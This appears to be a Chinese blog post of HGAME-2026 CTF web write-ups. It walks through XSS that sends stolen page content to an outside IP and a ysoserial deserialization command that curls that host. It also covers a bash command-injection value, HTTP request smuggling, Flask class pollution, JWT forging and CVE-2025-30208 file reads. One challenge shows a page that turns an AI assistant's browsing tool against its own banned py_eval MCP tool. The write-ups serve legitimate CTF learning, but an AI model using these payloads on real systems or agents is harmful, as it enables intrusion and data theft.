mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
3026 字
8 分钟
HGAME-2026
2026-02-22

魔理沙的魔法目录#

我以为那个time是累计时长,结果好像是单次时长,最大两位数。眼疾手快发个几十次就好了。

curl 'http://cloud-big.hgame.vidar.club:30850/record' \
-X 'POST' \
-H 'Accept: */*' \
-H 'Content-Type: application/json' \
-H 'Origin: http://cloud-big.hgame.vidar.club:30850' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.1 Safari/605.1.15' \
-H 'Authorization: d3d55ff5-eb56-4249-b945-e6559142ce90' \
-H 'Referer: http://cloud-big.hgame.vidar.club:30850/' \
-H 'Content-Length: 11' \
-H 'Accept-Language: zh-CN,zh-Hans;q=0.9' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Connection: keep-alive' \
-H 'Priority: u=3, i' \
--data-raw '{"time":10}'

flag

My Little Assistant#

Woore最近在折腾一个“智能助手”,
它看起来很贴心:
能帮你分析网页
能访问外部资源
甚至还能“执行一些小工具”
但在信任这位小助手之前, 你或许该想想:
它到底是在理解你的需求, 还是在服从看到的一切?

这题好玩。

py_eval这个mcp被ban了,ai使用不了,只能使用py_request,但是这个mcp只支持get,无法使用它来直接ssrf请求mcp的py_eval。考虑xss,chrome刚好禁用了跨域限制。

try_eval eval_banned request_safe xss

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Flag</title>
</head>
<body>
<div id="result">Waiting...</div>
<script>
// 1. 更加精简的 Python Payload
// 不需要 import os,直接读取即可,确保 local_vars 只有 result
const pyCode = "result = open('/flag').read()";
const payload = {
"jsonrpc": "2.0",
"id": 1,
"params": {
"name": "py_eval",
"arguments": {
"code": pyCode
}
}
};
fetch('http://127.0.0.1:8001/mcp', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(payload)
})
.then(res => res.json())
.then(data => {
// 2. JS 数据清洗
// data 结构是: {jsonrpc:..., result: { content: [{text: "string_of_local_vars"}] } }
// 我们直接提取最深层的 text,扔掉外面的包装
try {
let innerText = data.result.content[0].text;
document.getElementById('result').innerText = innerText;
} catch (e) {
document.getElementById('result').innerText = JSON.stringify(data);
}
});
</script>
</body>
</html>

flag

MyMonitor#

刚开始审计,尝试了一下jwt,但不是。 not_jwt

ai真好使啊((。bot执行ls命令的时候没有args,导致普通用户发送的args进入的bot那条指令里,造成了命令拼接。以下是 AI 分析,只能说勉勉强强知道在说啥吧💦

核心漏洞在于 attachment/handler.go 中对 sync.Pool 的不当使用,导致了对象池污染(Object Pool Pollution),结合后台可能存在的 Admin Bot,可以实现远程代码执行(RCE)获取 Flag。

  1. 漏洞分析 漏洞位于 attachment/handler.go 的 UserCmd 函数中:
func UserCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct) // 1. 从池中获取对象
defer MonitorPool.Put(monitor) // 2. 函数结束时放回池中
if err := c.ShouldBindJSON(monitor); err != nil { // 3. 绑定 JSON
fmt.Println(monitor)
c.JSON(400, gin.H{"error": err.Error()})
return // 4. 如果出错,直接返回
}
fmt.Println(monitor)
defer monitor.reset() // 5. 重置对象字段(注意位置!)
// ...
}

问题点: Go 的 sync.Pool 会复用对象。当一个对象被放回池中时,它保留了之前的状态,除非显式重置。 在 UserCmd 中,defer monitor.reset() 语句位于 ShouldBindJSON 错误检查的下方。 如果 ShouldBindJSON 返回错误(例如 JSON 格式正确但缺少 binding:“required” 的字段),函数会执行 return。 此时,defer MonitorPool.Put(monitor) 会执行(因为它在上方定义了),将对象放回池中。 但是,defer monitor.reset() 不会执行。 这就导致一个“脏”的 monitor 对象被放回了池中。这个对象可能包含了解析了一半的数据。 MonitorStruct 定义如下:

type MonitorStruct struct {
Cmd string `json:"cmd" binding:"required"`
Args string `json:"args"`
}

如果我们发送一个 JSON:{“args”: ”; cat /flag > /app/templates/login.html”},但不包含 cmd 字段: ShouldBindJSON 会先解析 JSON,将 Args 字段赋值进 monitor 对象。 然后进行校验,发现缺少 required 的 cmd 字段,返回错误。 UserCmd 提前返回,跳过了 monitor.reset()。 带有恶意 Args 的对象被放回 MonitorPool。

  1. 攻击路径 攻击需要结合 AdminCmd 函数。我们假设题目环境中有一个 Admin Bot 会定期调用 /api/admin/cmd 接口。
func AdminCmd(c *gin.Context) {
monitor := MonitorPool.Get().(*MonitorStruct) // 获取可能被污染的对象
defer MonitorPool.Put(monitor)
if err := c.ShouldBindJSON(monitor); err != nil {
// ...
}
// ...
fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args) // 拼接命令
output, err := exec.Command("bash", "-c", fullCommand).CombinedOutput() // 执行
// ...
}

如果 Admin Bot 发送的请求只包含 cmd(例如 {“cmd”: “ls”}),而不包含 args,json.Unmarshal 只会更新 JSON 中存在的字段。因此,MonitorStruct 中的 Args 字段将保留我们在 UserCmd 中污染的值。

最终执行的命令变为:ls ; cat /flag > /app/templates/login.htmlflag

博丽神社的绘马挂#

灵梦为了增加参拜人数,在神社设立了绘马挂,人们可以在这里许愿🙏
但是灵梦在整理这些绘马的时候不太用心,出现了一些问题...而且她没有发现紫在归档完毕的绘马里藏了一些不可告人的秘密
(Flag格式为 Hgame{example_flag})

弱密码,admin/admin123

有个 呼叫灵梦 按钮,感觉是考xss啊。

fuzz一下,挂一个

{{7*7}}
<script><alert>gg</alert></script>
<alert>bb</alert>

诶,只显示 {{7*7}} bb 了,那说明确实是xss

本来是想先看一下灵梦的用户名是什么,读一下他的html,结果flag直接出来了…Payload如下:

<iframe src="archives.html" style="display:none" onload="setTimeout(()=>{
var secret = this.contentWindow.document.body.innerText;
fetch('http://120.26.146.96:3306/?flag=' + btoa(encodeURIComponent(secret)));
}, 2000)"></iframe>

xss

The_Secret_Is: Hgame{tHE-secr3T_0F-haKUR31_JlNJ41a535673}

flag

Vidarshop#

c-jwt-cracker git:(master) ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbVx1MDEzMW4iLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MDAxODczOH0.5akQz2Bq9KLrsBTGJBsNHfRewF5vUbX_TYI-yIxoY4Y
Secret is "111"

jwt 爆破得到 jwt 的 secretKey 是 111,不过其实没有用,因为权限判定只依赖 uid,与 username 无关。不过可以伪造 admin:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxODcwMDE4NzM4fQ.8mwUaZZr7hG0B-vSmZD8vTJ1SwqaCrpUrynjaHJk-Eo

uid 尝试爆破uid,呃…

没招了,乱注册,发现 a、1 的 uid 都是 1,注意到:

1413914
a -> 1
d -> 4
m -> 13
i -> 9
n -> 14

所以 admin 的 uid 是 1413914哪个大聪明想出来的??? admin

尝试修改余额:

await apiRequest('/api/update', 'POST', {
"balance": 100000,
"role": "user",
"username": "chao"
});

发现没用。

有提示:update接口直接改的好像是User类的balance属性欸,但是User属性中balance似乎并非。。。该怎么修改balance呢

不对啊,原型链污染也改不了啊。。。原来是Flask,没注意到。

await apiRequest('/api/update', 'POST', {
"__class__": {
"__init__": {
"__globals__": {
"role": "admin",
"balance": 100000000
}
}
},
"username": "1dmin"
});

balance flag

[Crypto] Classic#

人工队输了

1 2 3

《文文。新闻》#

信息收集#

http://1.116.118.188:30211/@fs/app/frontend/src/App.jsx
http://1.116.118.188:30211/@fs/app/frontend/src/main.jsx
http://1.116.118.188:30211/@fs/app/frontend/src/utils/request.js
import axios from "/node_modules/.vite/deps/axios.js?v=22a178ca";
const request = axios.create({
timeout: 5000
});
request.interceptors.request.use(config => {
const token = localStorage.getItem('token');
if (token) {
config.headers['Authorization'] = token;
}
return config;
}, error => {
return Promise.reject(error);
});
request.interceptors.response.use(response => {
return response.data;
}, error => {
if (error.response) {
alert(error.response.data.error || 'Request Failed');
}
return Promise.reject(error);
});
export default request;
// http://1.116.118.188:30211/@fs/app/frontend/vite.config.js
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
// https://vitejs.dev/config/
export default defineConfig({
plugins: [react()],
server: {
host: '0.0.0.0',
port: 5173,
allowedHosts: true,
}
})
// http://1.116.118.188:30211/@fs/app/frontend/proxy.js
import http from 'http';
import httpProxy from 'http-proxy';
const RUST_TARGET = 'http://127.0.0.1:3000';
const VITE_TARGET = 'http://127.0.0.1:5173';
const proxy = httpProxy.createProxyServer({
agent: new http.Agent({
keepAlive: true,
maxSockets: 100,
keepAliveMsecs: 10000
}),
xfwd: true,
});
proxy.on('error', (err, req, res) => {
console.error('[Proxy Error]', err.message);
if (res && !res.headersSent) {
try { res.writeHead(502); res.end('Bad Gateway'); } catch(e){}
}
});
const server = http.createServer((req, res) => {
if (req.url.startsWith('/api/')) {
proxy.web(req, res, { target: RUST_TARGET });
} else {
proxy.web(req, res, { target: VITE_TARGET });
}
});
console.log(\"馃敟 Node.js Dumb Proxy running on port 80\");
server.listen(80);
// http://1.116.118.188:30211/@fs/app/frontend/package.json
{
"name": "bunbunmaru-frontend",
"private": true,
"version": "0.0.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "vite build",
"lint": "eslint .",
"preview": "vite preview",
"start-proxy": "node proxy.js"
},
"dependencies": {
"axios": "^1.6.0",
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-router-dom": "^6.20.0",
"http-proxy": "^1.18.1"
},
"devDependencies": {
"@types/react": "^18.2.0",
"@types/react-dom": "^18.2.0",
"@vitejs/plugin-react": "^4.2.0",
"eslint": "^8.50.0",
"vite": "6.2.0"
}
}

至此,了解到靶机内部网络结构。有前端(vite,5173)、后端(rust,3000)、代理(node.js,80)。proxy用来实现前端到后端的代理。注意到"vite": "6.2.0"存在CVE-2025-30208,可以任意文件读取(eg. /@fs/etc/passwd?import&raw??)。进一步探索:

// http://1.116.118.188:30211/@fs/proc/self/environ?import&raw??
export default "KUBERNETES_SERVICE_PORT=443\u0000KUBERNETES_PORT=tcp://10.43.0.1:443\u0000npm_config_user_agent=npm/10.8.2 node/v18.20.8 linux x64 workspaces/false\u0000NODE_VERSION=18.20.8\u0000SUPERVISOR_GROUP_NAME=vite-frontend\u0000HOSTNAME=ret2shell-212-3058-1770605791\u0000YARN_VERSION=1.22.22\u0000npm_node_execpath=/usr/local/bin/node\u0000npm_config_noproxy=\u0000HOME=/root\u0000npm_package_json=/app/frontend/package.json\u0000LC_CTYPE=C.UTF-8\u0000npm_config_userconfig=/root/.npmrc\u0000npm_config_local_prefix=/app/frontend\u0000COLOR=0\u0000npm_config_prefix=/usr/local\u0000npm_config_npm_version=10.8.2\u0000npm_config_cache=/root/.npm\u0000KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1\u0000npm_config_node_gyp=/usr/local/lib/node_modules/npm/node_modules/node-gyp/bin/node-gyp.js\u0000PATH=/app/frontend/node_modules/.bin:/app/node_modules/.bin:/node_modules/.bin:/usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin:/app/frontend:/app/backend:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE=/usr/local/bin/node\u0000npm_package_name=bunbunmaru-frontend\u0000KUBERNETES_PORT_443_TCP_PORT=443\u0000KUBERNETES_PORT_443_TCP_PROTO=tcp\u0000SUPERVISOR_ENABLED=1\u0000npm_lifecycle_script=vite\u0000npm_package_version=0.0.0\u0000npm_lifecycle_event=dev\u0000KUBERNETES_SERVICE_PORT_HTTPS=443\u0000KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443\u0000SUPERVISOR_PROCESS_NAME=vite-frontend\u0000npm_config_globalconfig=/usr/local/etc/npmrc\u0000npm_config_init_module=/root/.npm-init.js\u0000KUBERNETES_SERVICE_HOST=10.43.0.1\u0000PWD=/app/frontend\u0000npm_execpath=/usr/local/lib/node_modules/npm/bin/npm-cli.js\u0000npm_config_global_prefix=/usr/local\u0000npm_command=run-script\u0000INIT_CWD=/app/frontend\u0000EDITOR=vi\u0000"
// http://1.116.118.188:30211/@fs/app/src/handlers.rs?import&raw??
use crate::http_parser::Request;
use std::sync::Mutex;
use std::collections::HashMap;
use serde::{Deserialize, Serialize};
use lazy_static::lazy_static;
use uuid::Uuid;
lazy_static! {
static ref USERS: Mutex<HashMap<String, UserRecord>> = Mutex::new(HashMap::new());
static ref COMMENTS: Mutex<Vec<CommentData>> = Mutex::new(Vec::new());
}
#[derive(Deserialize)]
struct AuthRequest {
username: String,
password: String,
}
#[derive(Clone)]
struct UserRecord {
password: String,
token: String,
}
#[derive(Serialize, Deserialize, Clone)]
struct CommentData {
username: String,
content: String,
}
fn make_resp(status: &str, body: &str) -> String {
format!(
"HTTP/1.1 {}\r\nContent-Type: application/json\r\nContent-Length: {}\r\n\r\n{}",
status,
body.len(),
body
)
}
fn resp_ok(msg: &str) -> String {
make_resp("200 OK", msg)
}
pub fn resp_err(status: &str, msg: &str) -> String {
make_resp(status, &format!(r#"{{"error": "{}"}}"#, msg))
}
pub fn handle_register(req: &Request) -> String {
if req.method != "POST" {
return resp_err("405 Method Not Allowed", "Only POST");
}
let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or("");
let form: AuthRequest = if content_type.contains("application/json") {
match req.parse_json() {
Ok(d) => d,
Err(_) => return resp_err("400 Bad Request", "Invalid JSON format"),
}
} else if content_type.contains("application/x-www-form-urlencoded") {
let map = req.parse_form();
let username = map.get("username").cloned().unwrap_or_default();
let password = map.get("password").cloned().unwrap_or_default();
if username.is_empty() || password.is_empty() {
return resp_err("400 Bad Request", "Missing username or password");
}
AuthRequest { username, password }
} else {
return resp_err("415 Unsupported Media Type", "Content-Type must be json or form");
};
let mut db = USERS.lock().unwrap();
if db.contains_key(&form.username) {
return resp_err("409 Conflict", "User already exists");
}
let new_token = Uuid::new_v4().to_string();
db.insert(
form.username.clone(),
UserRecord {
password: form.password,
token: new_token.clone(),
},
);
println!("User registered: {} with token: {}", form.username, new_token);
resp_ok(&format!(
r#"{{"status": "registered", "token": "{}"}}"#,
new_token
))
}
pub fn handle_login(req: &Request) -> String {
if req.method != "POST" {
return resp_err("405 Method Not Allowed", "Only POST");
}
let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or("");
let form: AuthRequest = if content_type.contains("application/json") {
match req.parse_json() {
Ok(d) => d,
Err(_) => return resp_err("400 Bad Request", "Invalid JSON format"),
}
} else if content_type.contains("application/x-www-form-urlencoded") {
let map = req.parse_form();
let username = map.get("username").cloned().unwrap_or_default();
let password = map.get("password").cloned().unwrap_or_default();
if username.is_empty() || password.is_empty() {
return resp_err("400 Bad Request", "Missing username or password");
}
AuthRequest { username, password }
} else {
return resp_err("415 Unsupported Media Type", "Content-Type must be json or form");
};
let db = USERS.lock().unwrap();
if let Some(record) = db.get(&form.username) {
if record.password == form.password {
return resp_ok(&format!(
r#"{{"status": "success", "token": "{}"}}"#,
record.token
));
}
}
resp_err("401 Unauthorized", "Invalid credentials")
}
pub fn handle_comment(req: &Request) -> String {
let auth_header = req.headers.get("authorization").map(|v| v.as_str());
if auth_header.is_none() {
return resp_err("401 Unauthorized", "Missing Authorization header");
}
let input_token = auth_header.unwrap();
let mut current_user = String::new();
{
let db = USERS.lock().unwrap();
for (username, record) in db.iter() {
if record.token == input_token {
current_user = username.clone();
break;
}
}
}
if current_user.is_empty() {
return resp_err("403 Forbidden", "Invalid Token");
}
match req.method.as_str() {
"GET" => {
let db = COMMENTS.lock().unwrap();
let json = serde_json::to_string(&*db).unwrap_or("[]".to_string());
resp_ok(&json)
}
"POST" => {
#[derive(Deserialize)]
struct NewComment {
content: String,
}
let content_type = req.headers.get("content-type").map(|s| s.as_str()).unwrap_or("");
let new_comment: NewComment = if content_type.contains("application/json") {
match req.parse_json() {
Ok(p) => p,
Err(_) => return resp_err("400 Bad Request", "Invalid JSON"),
}
} else if content_type.contains("application/x-www-form-urlencoded") {
let map = req.parse_form();
let content = map.get("content").cloned().unwrap_or_default();
if content.is_empty() {
return resp_err("400 Bad Request", "Missing content");
}
NewComment { content }
} else {
return resp_err("415 Unsupported Media Type", "Content-Type must be json or form");
};
let mut comments = COMMENTS.lock().unwrap();
println!("[HANDLER] Saving comment: {:?}", new_comment.content);
comments.push(CommentData {
username: current_user,
content: new_comment.content,
});
resp_ok(r#"{"status": "comment added"}"#)
}
_ => resp_err("405 Method Not Allowed", "Method not supported"),
}
}
pub fn resp_not_found() -> String {
resp_err("404 Not Found", "Resource not found")
}
// http://1.116.118.188:30211/@fs/app/src/main.rs?import&raw??
mod http_parser;
mod handlers;
use bytes::{Buf, BytesMut};
use http_parser::ParseResult;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let listener = TcpListener::bind("0.0.0.0:3000").await?;
println!("server running on 127.0.0.1:3000");
loop {
let (socket, _) = listener.accept().await?;
tokio::spawn(async move {
if let Err(e) = process_connection(socket).await {
eprintln!("Connection error: {}", e);
}
});
}
}
async fn process_connection(mut socket: TcpStream) -> Result<(), Box<dyn std::error::Error>> {
let mut buffer = BytesMut::with_capacity(4096);
loop {
let n = socket.read_buf(&mut buffer).await?;
if n == 0 {
if buffer.is_empty() {
return Ok(());
} else {
eprintln!(
"Connection closed with {} bytes remaining (garbage)",
buffer.len()
);
return Ok(());
}
}
loop {
match http_parser::parse_packet(&mut buffer) {
ParseResult::Complete(req, consumed_len) => {
println!("Parsed request: {} {}", req.method, req.route);
let response = router(&req);
socket.write_all(response.as_bytes()).await?;
buffer.advance(consumed_len);
}
ParseResult::Partial => {
break;
}
ParseResult::Invalid(skip_len) => {
println!("Warning: Skipping {} bytes of garbage data...", skip_len);
buffer.advance(skip_len);
if buffer.is_empty() {
break;
}
}
}
}
}
}
fn router(req: &http_parser::Request) -> String {
if req.version != "HTTP/1.1" {
return handlers::resp_err(
"400 Bad Request",
"Wrong HTTP Version. Only HTTP/1.1 is supported.",
);
}
if !req.queries.is_empty() {
println!(" -> Query params: {:?}", req.queries);
}
match req.route.as_str() {
"/api/register" => handlers::handle_register(req),
"/api/login" => handlers::handle_login(req),
"/api/comment" => handlers::handle_comment(req),
_ => handlers::resp_not_found(),
}
}
// http://1.116.118.188:30211/@fs/app/src/http_parser.rs?import&raw??
use bytes::BytesMut;
use serde::Deserialize;
use std::{collections::HashMap, str};
#[derive(Debug)]
pub struct Request {
pub method: String,
pub route: String,
pub queries: HashMap<String, String>,
pub version: String,
pub headers: HashMap<String, String>,
pub body: String,
}
pub enum ParseResult {
Complete(Request, usize),
Partial,
Invalid(usize),
}
impl Request {
pub fn parse_form(&self) -> HashMap<String, String> {
let mut map = HashMap::new();
for pair in self.body.split('&') {
if let Some((k, v)) = pair.split_once('=') {
if !k.is_empty() {
map.insert(k.to_string(), v.to_string());
}
} else if !pair.is_empty() {
map.insert(pair.to_string(), "".to_string());
}
}
map
}
pub fn parse_json<T: for<'a> Deserialize<'a>>(&self) -> Result<T, serde_json::Error> {
serde_json::from_str(&self.body)
}
}
pub fn parse_packet(buffer: &mut BytesMut) -> ParseResult {
let req_line_end = match buffer.windows(2).position(|w| w == b"\r\n") {
Some(pos) => pos,
None => return ParseResult::Partial,
};
let req_line_len = req_line_end + 2;
let raw_req_line = match str::from_utf8(&buffer[..req_line_end]) {
Ok(s) => s,
Err(_) => return ParseResult::Invalid(req_line_len),
};
let (method, route, queries, version) = match parse_reqline(raw_req_line) {
Some(res) => res,
None => return ParseResult::Invalid(req_line_len),
};
let header_end = match buffer.windows(4).position(|w| w == b"\r\n\r\n") {
Some(pos) => pos,
None => return ParseResult::Partial,
};
let raw_headers = match str::from_utf8(&buffer[req_line_len..header_end]) {
Ok(s) => s,
Err(_) => return ParseResult::Invalid(header_end + 4),
};
let headers = parse_headers(raw_headers);
let body_length: usize = headers
.get("content-length")
.and_then(|v| v.parse().ok())
.unwrap_or(0);
let total_len = header_end + 4 + body_length;
if buffer.len() < total_len {
return ParseResult::Partial;
}
let body_start = header_end + 4;
let body_end = body_start + body_length;
let body = str::from_utf8(&buffer[body_start..body_end])
.unwrap_or("")
.to_string();
ParseResult::Complete(
Request {
method,
route,
queries,
version,
headers,
body,
},
total_len,
)
}
fn parse_headers(raw_headers: &str) -> HashMap<String, String> {
let lines = raw_headers.lines();
let mut headers: HashMap<String, String> = HashMap::new();
for line in lines {
if let Some((k, v)) = line.split_once(":") {
if !k.is_empty() {
headers.insert(k.trim().to_lowercase(), v.trim().to_string());
}
}
}
headers
}
fn parse_reqline(raw_req_line: &str) -> Option<(String, String, HashMap<String, String>, String)> {
let mut raw_req_parts = raw_req_line.split_whitespace();
let method = raw_req_parts.next()?.to_string();
let raw_uri = raw_req_parts.next()?;
let (path, queries) = parse_uri(raw_uri);
let version = raw_req_parts.next()?.to_string();
Some((method, path, queries, version))
}
fn parse_uri(raw_uri: &str) -> (String, HashMap<String, String>) {
let (path, raw_query) = match raw_uri.split_once("?") {
Some((p, q)) => (p, q),
None => (raw_uri, ""),
};
let mut queries: HashMap<String, String> = HashMap::new();
if !raw_query.is_empty() {
for query in raw_query.split("&") {
if query.is_empty() {
continue;
}
let (k, v) = match query.split_once("=") {
Some((k, v)) => (k, v),
None => (query, ""),
};
if !k.is_empty() {
queries.insert(k.to_string(), v.to_string());
}
}
}
(path.to_string(), queries)
}
# http://1.116.118.188:30211/@fs/etc/supervisor/conf.d/supervisord.conf?import&raw??
[supervisord]
nodaemon=true
user=root
[program:rust-backend]
directory=/app
command=/app/backend_server
user=ctf
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:vite-frontend]
directory=/app/frontend
command=npm run dev -- --host 0.0.0.0 --port 5173
user=ctf
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
[program:node-proxy]
directory=/app/frontend
command=node proxy.js
user=root
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

Fuzz#

观察到,当注册一个用户时,新闻稿会新增几条。但是前后端源码都没有新增新闻的逻辑,那么很可能有一个bot在轮询。

审计#

已经拿到后端源码,开始审计。Rust的语法真的不诗人阅读,不过看到http_parser.rs,怎么都会想想,“诶这个东西居然要自己造轮子吗?“。那么联系到http解析相关考点,大概率是请求走私吧。结合前面的信息收集,数据流是这样的:(App => proxy => backend),

直接来看Payload

POST /api/login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
<chunk_size>
POST /api/comment HTTP/1.1
Host: 127.0.0.1
Authorization: <Token>
Content-Type: application/x-www-form-urlencoded
Content-Length: 350
content=
0

这里的Transfer-Encoding: chunked可以通过proxy,让proxy认为请求完整,此时会原封不动发给backend(其实export了backend的端口,直接发给backend也行?🤔)。

Rust解析到POST /api/login时,由于没有Content-Length,此时就不满足buffer.len() < total_len,认为Body为空。这时候解析空的JSON就会报错,返回400 Bad Request。但是此时缓冲区里还剩下<chunk_size>\r\nPOST /api/comment...,Rust会把它当成新的 HTTP 请求来解析。

遇到<chunk_size>这种不符合METHOD URI VERSION格式的字符串,触发了 ParseResult::Invalid

ParseResult::Invalid(skip_len) => {
println!("Warning: Skipping {} bytes of garbage data...", skip_len);
buffer.advance(skip_len);
if buffer.is_empty() {
break;
}
}

直接被buffer.advance(skip_len);丢弃了,刚好剩下一个完整的POST请求的模板。

接着来看内层,构造发送新闻的请求,这里伪造Content-Length,后端也没有做进一步检测

POST /api/comment HTTP/1.1
Host: 127.0.0.1
Authorization: <Token>
Content-Type: application/x-www-form-urlencoded
Content-Length: 350
content=

来看源码:

ParseResult::Partial => {
break;
}

此时Rust返回ParseResult::Partial,跳出解析循环。然后这个Keep-AliveTCP就挂起了,剩下的342个字节就会拼接上去。因为外层请求已经400,Node.js Proxy认为刚才的会话结束了,于是把这条污染的TCP连接放回了空闲连接池。当下一次bot发送新闻时,Node.js刚好把这的连接分配给bot。然后bot的POST /api/comment HTTP/1.1\r\nAuthorization: xxxxx就拼接到content=后面,进入了新闻数据库。

不过这个Content-Length需要多调几次,如果太大,拼接上bot的请求后依然不足长度,那么这条请求就会被丢弃;如果太短,获取不到有效信息。

最后获取到bot的post请求,flag刚好也在这里: flag

POST /api/comment HTTP/1.1
x-forwarded-host: localhost
x-forwarded-proto: http
x-forwarded-port: 80
x-forwarded-for: ::1
content-type: application/json
content-length: 208
flag: hgame{TH15-l5-4_d4lLy-N3W5137d6111ef}
authorization: 9845391c-af5a-4373-90e4-d57e7ebc1704
connection: keep-alive
accept: application/json
accept-encoding: gzip, deflate
user-agent: Bunbunmaru-Off

ezCC#

下载附件获得ezCC.war,拖进jadx看一下WEB-INF/web.xml

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

进一步发现commons-collections是3.2.1版本。

妈的Oracle下载jdk还要注册账号,找到了存档站,以备不时之需:https://d10.injdk.cn/openjdk/oraclejdk/8/

首先尝试ysoserial-all打cc3(我不造啊,ai说这个链出的题目多):

java -jar ysoserial-all.jar CommonsCollections3 "curl http://120.26.146.96:3306" | base64 | pbcopy

然后把修改cookie为userInfo={复制的东西},但是没收到啊,可能是jdk版本比较高,已经修了:

java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet
sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:81)
com.sun.proxy.$Proxy4.entrySet(Unknown Source)
sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:452)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:498)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:503)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:461)
Hgame.ezCC.Tool.deserialize(Tool.java:9)
Hgame.ezCC.myServlet.showWelcomePage(myServlet.java:74)
Hgame.ezCC.myServlet.doGet(myServlet.java:19)
javax.servlet.http.HttpServlet.service(HttpServlet.java:529)
javax.servlet.http.HttpServlet.service(HttpServlet.java:623)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)

确实不太熟悉,丢给ai分析一下。总结来说是JDK版本>8u71已经修了。

“CC3 链是以 AnnotationInvocationHandler 为入口的。在低版本 JDK 中,AnnotationInvocationHandler 的 readObject 会无脑信任并操作 Map。但在高版本 JDK(8u71及以后)中,Oracle 修复了这个类。它现在会检查:这个 Map 里的 Key 是否真的是那个 Annotation(这里是 @Override)里的成员方法。报错说 @Override 里找不到 entrySet,说明反序列化执行到了这一步,被 JDK 的修复逻辑给拦住了。”

尝试CC6,又报错:

java.io.InvalidClassException: Forbidden class; org.apache.commons.collections.functors.InvokerTransformer
Hgame.ezCC.BlacklistObjectInputStream.resolveClass(BlacklistObjectInputStream.java:19)
java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1988)
java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1852)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2186)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
java.io.ObjectInputStream.readArray(ObjectInputStream.java:2119)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1657)
java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2355)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431)
java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:633)
org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:150)
sun.reflect.GeneratedMethodAccessor22.invoke(Unknown Source)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:498)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2355)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:503)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:461)
java.util.HashSet.readObject(HashSet.java:342)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
